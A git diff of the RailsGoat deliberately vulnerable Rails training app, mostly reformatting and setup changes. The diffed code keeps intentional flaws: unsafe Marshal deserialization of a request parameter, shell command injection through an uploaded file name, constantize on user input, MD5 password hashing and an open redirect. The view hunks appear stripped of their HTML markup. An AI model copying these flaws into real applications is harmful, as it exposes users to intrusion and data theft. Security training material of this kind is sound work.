diff --git a/.powrc b/.powrc index 52c4a57..b8d32ef 100644 --- a/.powrc +++ b/.powrc @@ -1,4 +1,9 @@ -if [ -f "$rvm_path/scripts/rvm" ] && [ -f ".rvmrc" ]; then - source "$rvm_path/scripts/rvm" - source ".rvmrc" -fi +if [ -f "${rvm_path}/scripts/rvm" ]; then + source "${rvm_path}/scripts/rvm" + + if [ -f ".rvmrc" ]; then + source ".rvmrc" + elif [ -f ".ruby-version" ] && [ -f ".ruby-gemset" ]; then + rvm use `cat .ruby-version`@`cat .ruby-gemset` + fi +fi \ No newline at end of file diff --git a/.ruby-gemset b/.ruby-gemset new file mode 100644 index 0000000..b7f2343 --- /dev/null +++ b/.ruby-gemset @@ -0,0 +1 @@ +railsgoat \ No newline at end of file diff --git a/.ruby-version b/.ruby-version new file mode 100644 index 0000000..8f9174b --- /dev/null +++ b/.ruby-version @@ -0,0 +1 @@ +2.1.2 \ No newline at end of file diff --git a/.rvmrc b/.rvmrc deleted file mode 100755 index 97ca0d8..0000000 --- a/.rvmrc +++ /dev/null @@ -1 +0,0 @@ -rvm use 2.1.2@railsgoat --create diff --git a/LICENSE.md b/LICENSE.md index 122db6d..b47c765 100755 --- a/LICENSE.md +++ b/LICENSE.md @@ -1,6 +1,6 @@ The MIT License (MIT) -Copyright (c) 2013 The Open Web Application Security Project +Copyright (c) 2013-2014 The Open Web Application Security Project Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/README.md b/README.md index d9ac783..1c469ad 100755 --- a/README.md +++ b/README.md @@ -4,13 +4,10 @@ RailsGoat is a vulnerable version of the Ruby on Rails Framework. It includes vu ## Getting Started - - To begin, install the Ruby Version Manager (RVM): ``` -$ curl -L https://get.rvm.io | bash -s stable --autolibs=3 --ruby=1.9.3 -$ rvm use 2.1.2@railsgoat --create # https://rvm.io/ +$ curl -L https://get.rvm.io | bash -s stable --autolibs=3 --ruby=2.1.2 ``` After installing the package, clone this repo: @@ -19,22 +16,7 @@ After installing the package, clone this repo: $ git clone git@github.com:OWASP/railsgoat.git ``` -Navigate into the directory and accept the notice by typing `yes`: -``` -**************************************************************************************************** -* NOTICE * -**************************************************************************************************** -* RVM has encountered a new or modified .rvmrc file in the current directory, this is a shell * -* script and therefore may contain any shell commands. * -* * -* Examine the contents of this file carefully to be sure the contents are safe before trusting it! * -* Do you wish to trust '/path/to/railsgoat/.rvmrc'? * -* Choose v[view] below to view the contents * -**************************************************************************************************** -y[es], n[o], v[iew], c[cancel]> -``` - -Install the project dependencies: +Navigate into the directory and install the dependencies: ``` $ bundle install @@ -52,7 +34,7 @@ Initialize the database: $ rake db:setup ``` -Start the WEBrick HTTP Server: +Start the Thin web server: ``` $ rails server @@ -101,7 +83,7 @@ Conversion to the OWASP Top Ten 2013 completed in November, 2013. The MIT License (MIT) -Copyright (c) 2013 The Open Web Application Security Project +Copyright (c) 2013-2014 The Open Web Application Security Project Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: diff --git a/app/controllers/admin_controller.rb b/app/controllers/admin_controller.rb index 4cde79f..f82afc5 100755 --- a/app/controllers/admin_controller.rb +++ b/app/controllers/admin_controller.rb @@ -1,8 +1,7 @@ class AdminController < ApplicationController - before_filter :administrative, :if => :admin_param skip_before_filter :has_info - + def dashboard end @@ -27,14 +26,14 @@ class AdminController < ApplicationController @users = User.all render :partial => "layouts/admin/get_all_users" end - + def get_user @user = User.find_by_id(params[:admin_id].to_s) arr = ["true", "false"] @admin_select = @user.admin ? arr : arr.reverse render :partial => "layouts/admin/get_user" end - + def update_user user = User.find_by_id(params[:admin_id]) if user @@ -48,7 +47,7 @@ class AdminController < ApplicationController format.json { render :json => { :msg => message ? "success" : "failure"} } end end - + def delete_user user = User.find_by_user_id(params[:admin_id]) if user && !(current_user.user_id == user.user_id) @@ -67,5 +66,4 @@ class AdminController < ApplicationController def admin_param params[:admin_id] != '1' end - end diff --git a/app/controllers/api/v1/mobile_controller.rb b/app/controllers/api/v1/mobile_controller.rb index 63a575d..f4c01e3 100644 --- a/app/controllers/api/v1/mobile_controller.rb +++ b/app/controllers/api/v1/mobile_controller.rb @@ -1,5 +1,4 @@ class Api::V1::MobileController < ApplicationController - skip_before_filter :authenticated before_filter :mobile_request? @@ -30,5 +29,4 @@ class Api::V1::MobileController < ApplicationController request.user_agent =~ /ios|android/i end end - end diff --git a/app/controllers/api/v1/users_controller.rb b/app/controllers/api/v1/users_controller.rb index 6866774..643e5f9 100644 --- a/app/controllers/api/v1/users_controller.rb +++ b/app/controllers/api/v1/users_controller.rb @@ -1,57 +1,54 @@ class Api::V1::UsersController < ApplicationController - - skip_before_filter :authenticated - before_filter :valid_api_token - before_filter :extrapolate_user - - respond_to :json - - def index - # We removed the .as_json code from the model, just seemed like extra work. - # dunno, maybe useful at a later time? - #respond_with @user.admin ? User.all.as_json : @user.as_json - - respond_with @user.admin ? User.all : @user - end - - def show - respond_with @user.as_json - end - -private + skip_before_filter :authenticated + before_filter :valid_api_token + before_filter :extrapolate_user - def valid_api_token - authenticate_or_request_with_http_token do |token, options| - # TODO :add some functionality to check if the HTTP Header is valid - identify_user(token) - end - end - - def identify_user(token="") - # We've had issues with URL encoding, etc. causing issues so just to be safe - # we will go ahead and unescape the user's token - unescape_token(token) - @clean_token =~ /(.*?)-(.*)/ - id = $1 - hash = $2 - (id && hash) ? true : false - check_hash(id, hash) ? true : false - end - - def check_hash(id, hash) - digest = OpenSSL::Digest::SHA1.hexdigest("#{ACCESS_TOKEN_SALT}:#{id}") - hash == digest - end - - # We had some issues with the token and url encoding... - # this is an attempt to normalize the data. - def unescape_token(token="") - @clean_token = CGI::unescape(token) - end - - # Added a method to make it easy to figure out who the user is. - def extrapolate_user - @user = User.find_by_id(@clean_token.split("-").first) - end - + respond_to :json + + def index + # We removed the .as_json code from the model, just seemed like extra work. + # dunno, maybe useful at a later time? + #respond_with @user.admin ? User.all.as_json : @user.as_json + respond_with @user.admin ? User.all : @user + end + + def show + respond_with @user.as_json + end + + private + + def valid_api_token + authenticate_or_request_with_http_token do |token, options| + # TODO :add some functionality to check if the HTTP Header is valid + identify_user(token) + end + end + + def identify_user(token="") + # We've had issues with URL encoding, etc. causing issues so just to be safe + # we will go ahead and unescape the user's token + unescape_token(token) + @clean_token =~ /(.*?)-(.*)/ + id = $1 + hash = $2 + (id && hash) ? true : false + check_hash(id, hash) ? true : false + end + + def check_hash(id, hash) + digest = OpenSSL::Digest::SHA1.hexdigest("#{ACCESS_TOKEN_SALT}:#{id}") + hash == digest + end + + # We had some issues with the token and url encoding... + # this is an attempt to normalize the data. + def unescape_token(token="") + @clean_token = CGI::unescape(token) + end + + # Added a method to make it easy to figure out who the user is. + def extrapolate_user + @user = User.find_by_id(@clean_token.split("-").first) + end end diff --git a/app/controllers/application_controller.rb b/app/controllers/application_controller.rb index 3e56186..dcf7d08 100755 --- a/app/controllers/application_controller.rb +++ b/app/controllers/application_controller.rb @@ -1,5 +1,4 @@ class ApplicationController < ActionController::Base - before_filter :authenticated, :has_info, :create_analytic helper_method :current_user, :is_admin?, :sanitize_font @@ -10,7 +9,7 @@ class ApplicationController < ActionController::Base def current_user @current_user ||= ( - User.find_by_auth_token(cookies[:auth_token].to_s) || + User.find_by_auth_token(cookies[:auth_token].to_s) || User.find_by_user_id(session[:user_id].to_s) ) end @@ -53,5 +52,4 @@ class ApplicationController < ActionController::Base css # css if css.match(/\A[0-9]+([\%]|pt)\z/) end - end diff --git a/app/controllers/benefit_forms_controller.rb b/app/controllers/benefit_forms_controller.rb index 64b851e..23546ba 100644 --- a/app/controllers/benefit_forms_controller.rb +++ b/app/controllers/benefit_forms_controller.rb @@ -1,12 +1,11 @@ class BenefitFormsController < ApplicationController - + def index @benefits = Benefits.new end - def download - begin + begin path = params[:name] file = params[:type].constantize.new(path) send_file file, :disposition => 'attachment' @@ -14,7 +13,7 @@ class BenefitFormsController < ApplicationController redirect_to user_benefit_forms_path(:user_id => current_user.user_id) end end - + def upload file = params[:benefits][:upload] if file @@ -22,23 +21,22 @@ class BenefitFormsController < ApplicationController Benefits.save(file, params[:benefits][:backup]) else flash[:error] = "Something went wrong" - end + end redirect_to user_benefit_forms_path(:user_id => current_user.user_id) end - -=begin +=begin # More secure version def download file_assoc = {"1" => "Health_n_Stuff.pdf", "2" => "Dental_n_Stuff.pdf"} - begin + begin if file_assoc.has_key?(params[:name].to_s) path = Rails.root.join('public', 'docs', file_assoc[params[:name].to_s]) if params[:type] == "File" - file = params[:type].constantize.new(path) + file = params[:type].constantize.new(path) send_file file, :disposition => 'attachment' - end - else + end + else file = Rails.root.join('public', 'docs', "Dental_n_Stuff.pdf") send_file file, :disposition => 'attachment' end @@ -46,7 +44,5 @@ class BenefitFormsController < ApplicationController redirect_to user_benefit_forms_path(:user_id => current_user.user_id) end end -=end - - +=end end diff --git a/app/controllers/dashboard_controller.rb b/app/controllers/dashboard_controller.rb index 41d4236..4bb1c20 100755 --- a/app/controllers/dashboard_controller.rb +++ b/app/controllers/dashboard_controller.rb @@ -1,7 +1,6 @@ class DashboardController < ApplicationController - skip_before_filter :has_info - + def home @user = current_user @@ -10,5 +9,4 @@ class DashboardController < ApplicationController cookies[:font] = params[:font] end end - end diff --git a/app/controllers/messages_controller.rb b/app/controllers/messages_controller.rb index 706f103..83b992c 100644 --- a/app/controllers/messages_controller.rb +++ b/app/controllers/messages_controller.rb @@ -33,5 +33,4 @@ class MessagesController < ApplicationController end end end - end \ No newline at end of file diff --git a/app/controllers/paid_time_off_controller.rb b/app/controllers/paid_time_off_controller.rb index ea64301..fb63087 100644 --- a/app/controllers/paid_time_off_controller.rb +++ b/app/controllers/paid_time_off_controller.rb @@ -1,5 +1,5 @@ class PaidTimeOffController < ApplicationController - + def index @pto = current_user.paid_time_off @schedule = Schedule.new diff --git a/app/controllers/password_resets_controller.rb b/app/controllers/password_resets_controller.rb index 533643a..98ebdab 100644 --- a/app/controllers/password_resets_controller.rb +++ b/app/controllers/password_resets_controller.rb @@ -1,7 +1,6 @@ class PasswordResetsController < ApplicationController skip_before_filter :authenticated - def reset_password user = Marshal.load(Base64.decode64(params[:user])) unless params[:user].nil? diff --git a/app/controllers/pay_controller.rb b/app/controllers/pay_controller.rb index 6a71dc3..6245c62 100644 --- a/app/controllers/pay_controller.rb +++ b/app/controllers/pay_controller.rb @@ -1,28 +1,28 @@ class PayController < ApplicationController - + def index end - + def update_dd_info msg = false pay = Pay.new( - :bank_account_num => params[:bank_account_num], - :bank_routing_num => params[:bank_routing_num], + :bank_account_num => params[:bank_account_num], + :bank_routing_num => params[:bank_routing_num], :percent_of_deposit => params[:dd_percent] ) pay.user_id = current_user.user_id - msg = true if pay.save! + msg = true if pay.save! respond_to do |format| format.json {render :json => {:msg => msg } } end end - + def show respond_to do |format| format.json { render :json => {:user => current_user.pay.as_json} } end end - + def destroy pay = Pay.find_by_id(params[:id]) if pay.present? and pay.destroy @@ -32,12 +32,11 @@ class PayController < ApplicationController end redirect_to user_pay_index_path end - + def decrypted_bank_acct_num decrypted = Encryption.decrypt_sensitive_value(params[:value_to_decrypt]) respond_to do |format| format.json {render :json => {:account_num => decrypted || "No Data" }} end end - end diff --git a/app/controllers/performance_controller.rb b/app/controllers/performance_controller.rb index bdbff15..1ba6aa8 100644 --- a/app/controllers/performance_controller.rb +++ b/app/controllers/performance_controller.rb @@ -1,7 +1,6 @@ class PerformanceController < ApplicationController - + def index @perf = current_user.performance end - end diff --git a/app/controllers/retirement_controller.rb b/app/controllers/retirement_controller.rb index 1a376ee..541b083 100644 --- a/app/controllers/retirement_controller.rb +++ b/app/controllers/retirement_controller.rb @@ -1,7 +1,6 @@ class RetirementController < ApplicationController - + def index @info = current_user.retirement end - end diff --git a/app/controllers/schedule_controller.rb b/app/controllers/schedule_controller.rb index 82d4736..65caa2e 100644 --- a/app/controllers/schedule_controller.rb +++ b/app/controllers/schedule_controller.rb @@ -1,7 +1,8 @@ class ScheduleController < ApplicationController + def create message = false - + if params[:schedule][:event_type] == "pto" sched = Schedule.new(params[:schedule]) sched.date_begin, sched.date_end = format_schedule_date(params[:date_range1]) @@ -11,12 +12,12 @@ class ScheduleController < ApplicationController message = true end end - + respond_to do |format| format.json {render :json => {:msg => message ? "success" : "failure" }} end end - + def get_pto_schedule begin schedules = current_user.paid_time_off.schedule @@ -29,17 +30,17 @@ class ScheduleController < ApplicationController hash[:end] = s[:date_end] jfs << hash end - rescue + rescue end respond_to do |format| format.json do render :json => jfs.to_json - end + end end end - + private - + # Returns a two part array consisting of dates # First value is the begin date and the second is the end date def format_schedule_date(date_array) @@ -50,10 +51,9 @@ class ScheduleController < ApplicationController date = Date.strptime(s.strip, '%m/%d/%Y') vals <<(date) end - rescue ArgumentError + rescue ArgumentError return [] end return vals end - end diff --git a/app/controllers/sessions_controller.rb b/app/controllers/sessions_controller.rb index a13bbc7..fdf2edc 100755 --- a/app/controllers/sessions_controller.rb +++ b/app/controllers/sessions_controller.rb @@ -1,41 +1,39 @@ class SessionsController < ApplicationController - skip_before_filter :has_info skip_before_filter :authenticated, :only => [:new, :create] - + def new - @url = params[:url] - redirect_to home_dashboard_index_path if current_user + @url = params[:url] + redirect_to home_dashboard_index_path if current_user end - + def create - path = params[:url].present? ? params[:url] : home_dashboard_index_path - begin - # Normalize the email address, why not - user = User.authenticate(params[:email].to_s.downcase, params[:password]) - # @url = params[:url] + path = params[:url].present? ? params[:url] : home_dashboard_index_path + begin + # Normalize the email address, why not + user = User.authenticate(params[:email].to_s.downcase, params[:password]) + # @url = params[:url] rescue Exception => e - end - - if user - if params[:remember_me] - cookies.permanent[:auth_token] = user.auth_token if User.where(:user_id => user.user_id).exists? - else - session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists? - end - redirect_to path + end + + if user + if params[:remember_me] + cookies.permanent[:auth_token] = user.auth_token if User.where(:user_id => user.user_id).exists? else - # Removed this code, just doesn't seem specific enough! - # flash[:error] = "Either your username and password is incorrect" - flash[:error] = e.message - render "new" - end + session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists? + end + redirect_to path + else + # Removed this code, just doesn't seem specific enough! + # flash[:error] = "Either your username and password is incorrect" + flash[:error] = e.message + render "new" + end end - + def destroy cookies.delete(:auth_token) reset_session redirect_to root_path end - end diff --git a/app/controllers/tutorials_controller.rb b/app/controllers/tutorials_controller.rb index 7f878f3..d8e977b 100755 --- a/app/controllers/tutorials_controller.rb +++ b/app/controllers/tutorials_controller.rb @@ -1,41 +1,40 @@ class TutorialsController < ApplicationController - skip_before_filter :has_info skip_before_filter :authenticated - + def index end - + def credentials render :partial => "layouts/tutorial/credentials/creds" end - + def show render "injection" end - + def injection end - + def xss - @code = %{ -
  • - - Welcome, <%= current_user.first_name.html_safe %> -
  • - } + @code = %{ +
  • + + Welcome, <%= current_user.first_name.html_safe %> +
  • + } end - + def broken_auth end - + def insecure_dor end - + def csrf @meta_code_bad = %{<%#= csrf_meta_tags %> } @meta_code_good = %{<%= csrf_meta_tags %> } @@ -45,20 +44,20 @@ class TutorialsController < ApplicationController event.preventDefault(); $.ajax(\{ url: "/example", - data: valuesToSubmit, - type: "POST", - success: function(response) \{ - alert('success!'); - }, - error: function(event) \{ - alert('failure!'); - \} - \}); + data: valuesToSubmit, + type: "POST", + success: function(response) \{ + alert('success!'); + }, + error: function(event) \{ + alert('failure!'); + \} + \}); \}); - + \} } end - + def misconfig end @@ -67,33 +66,32 @@ class TutorialsController < ApplicationController def access_control end - + def crypto end - + def url_access end - + def ssl_tls end - + def redirects end - + def guard end - + def logic_flaws end - + def mass_assignment end - + def guantlt - + end - + def metaprogramming end - end diff --git a/app/controllers/users_controller.rb b/app/controllers/users_controller.rb index 9a48c27..1fb5d4a 100755 --- a/app/controllers/users_controller.rb +++ b/app/controllers/users_controller.rb @@ -1,9 +1,7 @@ class UsersController < ApplicationController - skip_before_filter :has_info skip_before_filter :authenticated, :only => [:new, :create] - def new @user = User.new end @@ -52,5 +50,4 @@ class UsersController < ApplicationController redirect_to user_account_settings_path(:user_id => current_user.user_id) end end - end diff --git a/app/controllers/work_info_controller.rb b/app/controllers/work_info_controller.rb index 1ba3981..29727f4 100644 --- a/app/controllers/work_info_controller.rb +++ b/app/controllers/work_info_controller.rb @@ -1,8 +1,7 @@ class WorkInfoController < ApplicationController - def index @user = User.find_by_user_id(params[:user_id]) - if !(@user) || @user.admin + if !(@user) || @user.admin flash[:error] = "Sorry, no user with that user id exists" redirect_to home_dashboard_index_path end @@ -12,11 +11,10 @@ class WorkInfoController < ApplicationController # More secure version def index @user = current_user - if !(@user) || @user.admin + if !(@user) || @user.admin flash[:error] = "Apologies, looks like something went wrong" redirect_to home_dashboard_index_path end end -=end - +=end end diff --git a/app/mailers/.gitkeep b/app/mailers/.gitkeep deleted file mode 100755 index e69de29..0000000 diff --git a/app/models/.gitkeep b/app/models/.gitkeep deleted file mode 100755 index e69de29..0000000 diff --git a/app/models/analytics.rb b/app/models/analytics.rb index 6690504..2d9fbe5 100644 --- a/app/models/analytics.rb +++ b/app/models/analytics.rb @@ -4,16 +4,16 @@ class Analytics < ActiveRecord::Base scope :hits_by_ip, ->(ip,col="*") { select("#{col}").where(:ip_address => ip).order("id DESC")} def self.count_by_col(col) - calculate(:count, col) + calculate(:count, col) end def self.parse_field(field) - valid_fields = ["ip_address", "referrer", "user_agent"] + valid_fields = ["ip_address", "referrer", "user_agent"] - if valid_fields.include?(field) - field - else - "1" - end + if valid_fields.include?(field) + field + else + "1" + end end end diff --git a/app/models/benefits.rb b/app/models/benefits.rb index 5764c9d..4a1cb9d 100644 --- a/app/models/benefits.rb +++ b/app/models/benefits.rb @@ -1,38 +1,37 @@ class Benefits < ActiveRecord::Base - attr_accessor :backup - - def self.save(file, backup=false) - data_path = Rails.root.join("public", "data") - full_file_name = "#{data_path}/#{file.original_filename}" - f = File.open(full_file_name, "wb+") - f.write file.read - f.close - make_backup(file, data_path, full_file_name) if backup == "true" - end - - def self.make_backup(file, data_path, full_file_name) - if File.exists?(full_file_name) - silence_streams(STDERR) { system("cp #{full_file_name} #{data_path}/bak#{Time.now.to_i}_#{file.original_filename}") } - end - end + attr_accessor :backup -=begin + def self.save(file, backup=false) + data_path = Rails.root.join("public", "data") + full_file_name = "#{data_path}/#{file.original_filename}" + f = File.open(full_file_name, "wb+") + f.write file.read + f.close + make_backup(file, data_path, full_file_name) if backup == "true" + end + + def self.make_backup(file, data_path, full_file_name) + if File.exists?(full_file_name) + silence_streams(STDERR) { system("cp #{full_file_name} #{data_path}/bak#{Time.now.to_i}_#{file.original_filename}") } + end + end + +=begin def self.make_backup(file, data_path, full_file_name) FileUtils.cp "#{full_file_name}", "#{data_path}/bak#{Time.now.to_i}_#{file.original_filename}" end -=end +=end - def self.silence_streams(*streams) - on_hold = streams.collect { |stream| stream.dup } - streams.each do |stream| - stream.reopen(RUBY_PLATFORM =~ /mswin/ ? 'NUL:' : '/dev/null') - stream.sync = true - end - yield - ensure - streams.each_with_index do |stream, i| - stream.reopen(on_hold[i]) - end - end - + def self.silence_streams(*streams) + on_hold = streams.collect { |stream| stream.dup } + streams.each do |stream| + stream.reopen(RUBY_PLATFORM =~ /mswin/ ? 'NUL:' : '/dev/null') + stream.sync = true + end + yield + ensure + streams.each_with_index do |stream, i| + stream.reopen(on_hold[i]) + end + end end diff --git a/app/models/key_management.rb b/app/models/key_management.rb index 174b80c..70adbd1 100644 --- a/app/models/key_management.rb +++ b/app/models/key_management.rb @@ -2,5 +2,4 @@ class KeyManagement < ActiveRecord::Base attr_accessible :iv, :user_id belongs_to :work_info belongs_to :user - end diff --git a/app/models/paid_time_off.rb b/app/models/paid_time_off.rb index 3628d22..409d355 100644 --- a/app/models/paid_time_off.rb +++ b/app/models/paid_time_off.rb @@ -6,13 +6,12 @@ class PaidTimeOff < ActiveRecord::Base def sick_days_remaining self.sick_days_earned - self.sick_days_taken end - + def pto_days_remaining self.pto_earned - self.pto_taken end - + def sick_days_taken_percentage result = self.sick_days_taken.to_f / self.sick_days_earned.to_f * 100.0 end - end diff --git a/app/models/pay.rb b/app/models/pay.rb index 78f0278..2218d11 100644 --- a/app/models/pay.rb +++ b/app/models/pay.rb @@ -1,25 +1,23 @@ class Pay < ActiveRecord::Base - # mass-assignable attributes attr_accessible :bank_account_num, :bank_routing_num, :percent_of_deposit - + # Associations - belongs_to :user - + belongs_to :user + # Validations validates :bank_account_num, presence: true validates :bank_routing_num, presence: true validates :percent_of_deposit, presence: true - + # callbacks before_save :encrypt_bank_account_num - + def as_json super(only: [:bank_account_num, :bank_routing_num, :percent_of_deposit, :id]) end - + def encrypt_bank_account_num self.bank_account_num = Encryption.encrypt_sensitive_value(self.bank_account_num) end - end diff --git a/app/models/performance.rb b/app/models/performance.rb index f6785b1..73f25c1 100644 --- a/app/models/performance.rb +++ b/app/models/performance.rb @@ -1,7 +1,7 @@ class Performance < ActiveRecord::Base attr_accessible :comments, :date_submitted, :reviewer, :score - belongs_to :user - + belongs_to :user + def reviewer_name u = User.find_by_id(self.reviewer) u.full_name if u.respond_to?('fullname') diff --git a/app/models/schedule.rb b/app/models/schedule.rb index ed7dcc5..fc66df7 100644 --- a/app/models/schedule.rb +++ b/app/models/schedule.rb @@ -1,6 +1,6 @@ class Schedule < ActiveRecord::Base attr_accessible :date_begin, :date_end, :event_desc, :event_name, :event_type belongs_to :paid_time_off - + validates_presence_of :date_begin, :date_end, :event_desc, :event_name, :event_type end diff --git a/app/models/user.rb b/app/models/user.rb index 261703e..9c5cc7f 100755 --- a/app/models/user.rb +++ b/app/models/user.rb @@ -1,7 +1,6 @@ require 'encryption' class User < ActiveRecord::Base - attr_accessible :email, :admin, :first_name, :last_name, :user_id, :password, :password_confirmation validates :password, :presence => true, :confirmation => true, @@ -13,7 +12,7 @@ class User < ActiveRecord::Base :confirmation => true, :if => :password, :format => {:with => /\A.*(?=.{10,})(?=.*\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[\@\#\$\%\^\&\+\=]).*\z/} -=end +=end validates_presence_of :email validates_uniqueness_of :email validates_format_of :email, :with => /.+@.+\..+/i @@ -37,11 +36,11 @@ class User < ActiveRecord::Base #work_info.build_key_management(:iv => SecureRandom.hex(32)) performance.build(POPULATE_PERFORMANCE.shuffle.first) end - + def full_name "#{self.first_name} #{self.last_name}" end - + =begin # Instead of the entire user object being returned, we can use this to filter. def as_json @@ -49,20 +48,20 @@ class User < ActiveRecord::Base end =end -private + private def self.authenticate(email, password) - auth = nil - user = find_by_email(email) - raise "#{email} doesn't exist!" if !(user) - if user.password == Digest::MD5.hexdigest(password) - auth = user - else - raise "Incorrect Password!" - end - return auth - end - + auth = nil + user = find_by_email(email) + raise "#{email} doesn't exist!" if !(user) + if user.password == Digest::MD5.hexdigest(password) + auth = user + else + raise "Incorrect Password!" + end + return auth + end + =begin # More secure version, still lacking a decent hashing routine, this is for timing attack prevention def self.authenticate(email, password) @@ -71,18 +70,18 @@ private return user else raise "Incorrect username or password" - end + end end -=end +=end def assign_user_id - unless @skip_user_id_assign.present? || self.user_id.present? + unless @skip_user_id_assign.present? || self.user_id.present? user = User.order("user_id").last uid = user.user_id.to_i + 1 if user && user.user_id && !(User.exists?(:user_id => "#{user.user_id.to_i + 1}")) self.user_id = uid.to_s if uid - end + end end - + def hash_password unless @skip_hash_password == true if password.present? @@ -90,11 +89,10 @@ private end end end - + def generate_token(column) begin self[column] = Encryption.encrypt_sensitive_value(self.user_id) end while User.exists?(column => self[column]) end - end diff --git a/app/models/work_info.rb b/app/models/work_info.rb index c8e30d8..2816dfa 100644 --- a/app/models/work_info.rb +++ b/app/models/work_info.rb @@ -3,42 +3,40 @@ class WorkInfo < ActiveRecord::Base belongs_to :user has_one :key_management, :foreign_key => :user_id, :primary_key => :user_id, :dependent => :destroy #before_save :encrypt_ssn - - + # We should probably use this def last_four - "***-**-" << self.decrypt_ssn[-4,4] + "***-**-" << self.decrypt_ssn[-4,4] end - + def encrypt_ssn - aes = OpenSSL::Cipher::Cipher.new(cipher_type) - aes.encrypt - aes.key = key - aes.iv = iv if iv != nil - self.encrypted_ssn = aes.update(self.SSN) + aes.final - self.SSN = nil + aes = OpenSSL::Cipher::Cipher.new(cipher_type) + aes.encrypt + aes.key = key + aes.iv = iv if iv != nil + self.encrypted_ssn = aes.update(self.SSN) + aes.final + self.SSN = nil end - + def decrypt_ssn - aes = OpenSSL::Cipher::Cipher.new(cipher_type) - aes.decrypt - aes.key = key - aes.iv = iv if iv != nil - aes.update(self.encrypted_ssn) + aes.final + aes = OpenSSL::Cipher::Cipher.new(cipher_type) + aes.decrypt + aes.key = key + aes.iv = iv if iv != nil + aes.update(self.encrypted_ssn) + aes.final end - + def key raise "Key Missing" if !(KEY) KEY end - + def iv raise "No IV for this User" if !(self.key_management.iv) self.key_management.iv end - + def cipher_type 'aes-256-cbc' end - end diff --git a/app/views/admin/dashboard.html.erb b/app/views/admin/dashboard.html.erb index da2c845..854f39c 100755 --- a/app/views/admin/dashboard.html.erb +++ b/app/views/admin/dashboard.html.erb @@ -1,70 +1,60 @@
    -
    -
    -
    - -
    -
    -
    -
    - -
    -
    -
    -
    -
    -
    -
    - - Manage Users -
    -
    -
    - -
    -
    -
    -
    -
    - - -
    +
    +
    +
    + +
    +
    + +
    +
    + +
    +
    + +
    +
    +
    +
    +
    + Manage Users +
    +
    + +
    +
    +
    +
    +
    +
    + <%= javascript_include_tag "jquery.dataTables.js"%> \ No newline at end of file diff --git a/app/views/benefit_forms/index.html.erb b/app/views/benefit_forms/index.html.erb index 3c48e5c..818ab08 100644 --- a/app/views/benefit_forms/index.html.erb +++ b/app/views/benefit_forms/index.html.erb @@ -1,134 +1,126 @@
    -
    +
    -
    - -
    -
    -
    -
    - Health Insurance -
    -
    - -
    - Click on PDF to download

    - <%= link_to download_path(:type => "File", :name => "public/docs/Health_n_Stuff.pdf") do %> -
    -
    - - - PDF - -
    - -
    - <% end %> -
    - -
    -
    - -
    -
    -
    -
    - Dental Insurance -
    -
    - -
    - Click on PDF to download

    - <%= link_to download_path(:type => "File", :name => "public/docs/Dental_n_Stuff.pdf") do %> -
    -
    - - - PDF - -
    - -
    - <% end %> -
    - -
    -
    -
    -
    -
    -
    -
    -
    - Health Insurance -
    -
    - -
    -
    -

    Upload file

    - <%= form_for @benefits, :url => upload_path, :html => { :action => "upload", :multipart => true, :id => "fi" } do |f| %> - -
    -
    - <%= hidden_field "benefits", "backup", :value => false %> - - - - Add file - <%= f.file_field :upload %> - - -

    Nothing selected -
    -
    - -
    -
    -
    -
    -
    - -
    -
    - - -
    - <% end %> -
    -
    -
    +
    -
    -
    -
    -
    -
    -
    -
    +
    +
    +
    +
    + Health Insurance +
    +
    + +
    + Click on PDF to download

    + <%= link_to download_path(:type => "File", :name => "public/docs/Health_n_Stuff.pdf") do %> +
    +
    + + + PDF + +
    +
    + <% end %> +
    + +
    +
    +
    +
    +
    +
    + Dental Insurance +
    +
    + +
    + Click on PDF to download

    + <%= link_to download_path(:type => "File", :name => "public/docs/Dental_n_Stuff.pdf") do %> +
    +
    + + + PDF + +
    + +
    + <% end %> +
    + +
    +
    +
    +
    +
    +
    +
    +
    + Health Insurance +
    +
    + +
    +
    +

    Upload file

    + <%= form_for @benefits, :url => upload_path, :html => { :action => "upload", :multipart => true, :id => "fi" } do |f| %> + +
    +
    + <%= hidden_field "benefits", "backup", :value => false %> + + + + Add file + <%= f.file_field :upload %> + + +

    Nothing selected +
    +
    + +
    +
    +
    +
    +
    + +
    +
    + + +
    + <% end %> +
    +
    +
    + +
    +
    +
    +
    +
    +
    + \ No newline at end of file diff --git a/app/views/dashboard/home.html.erb b/app/views/dashboard/home.html.erb index 4cdbdbf..8fc9788 100755 --- a/app/views/dashboard/home.html.erb +++ b/app/views/dashboard/home.html.erb @@ -1,172 +1,167 @@
    - -
    - -
    -
    - <% if @user.paid_time_off %> - <%= render :partial => "layouts/dashboard/dashboard_stats"%> - <% end %> -
    -
    -
    +
    +
    +
    + <% if @user.paid_time_off %> + <%= render :partial => "layouts/dashboard/dashboard_stats"%> + <% end %> +
    +
    +
    diff --git a/app/views/layouts/admin/_analytics.html.erb b/app/views/layouts/admin/_analytics.html.erb index 299286f..be676a0 100644 --- a/app/views/layouts/admin/_analytics.html.erb +++ b/app/views/layouts/admin/_analytics.html.erb @@ -6,11 +6,11 @@
    - +
    - <% - count = (params[:field] ? params[:field].count : 3) + <% + count = (params[:field] ? params[:field].count : 3) count.times do %> <% end %> @@ -18,16 +18,16 @@ <% @analytics.each do |a|%> - + <% a.attributes.each do |k,v| %> <% end %> - <% end %> + <% end %>
     
    <%= v %>
    - +
    @@ -36,11 +36,10 @@ \ No newline at end of file diff --git a/app/views/layouts/admin/_get_all_users.html.erb b/app/views/layouts/admin/_get_all_users.html.erb index 79ab43a..8f3bf5d 100755 --- a/app/views/layouts/admin/_get_all_users.html.erb +++ b/app/views/layouts/admin/_get_all_users.html.erb @@ -1,5 +1,5 @@
    - +
    <% @users.each do |u|%> - - - - - - - <% end %> + + + + + + + <% end %>
    @@ -18,25 +18,25 @@
    - <%= "#{u.first_name} #{u.last_name}"%> - - <%= u.email%> - - <%= u.admin ? %{ - <%= link_to "Edit", "#", {:onClick => "javascript:openEditModal(#{u.id});", :role => "button", :style => "width:70px", :class => "btn btn-inverse", "data-toggle" => "modal"}%> -
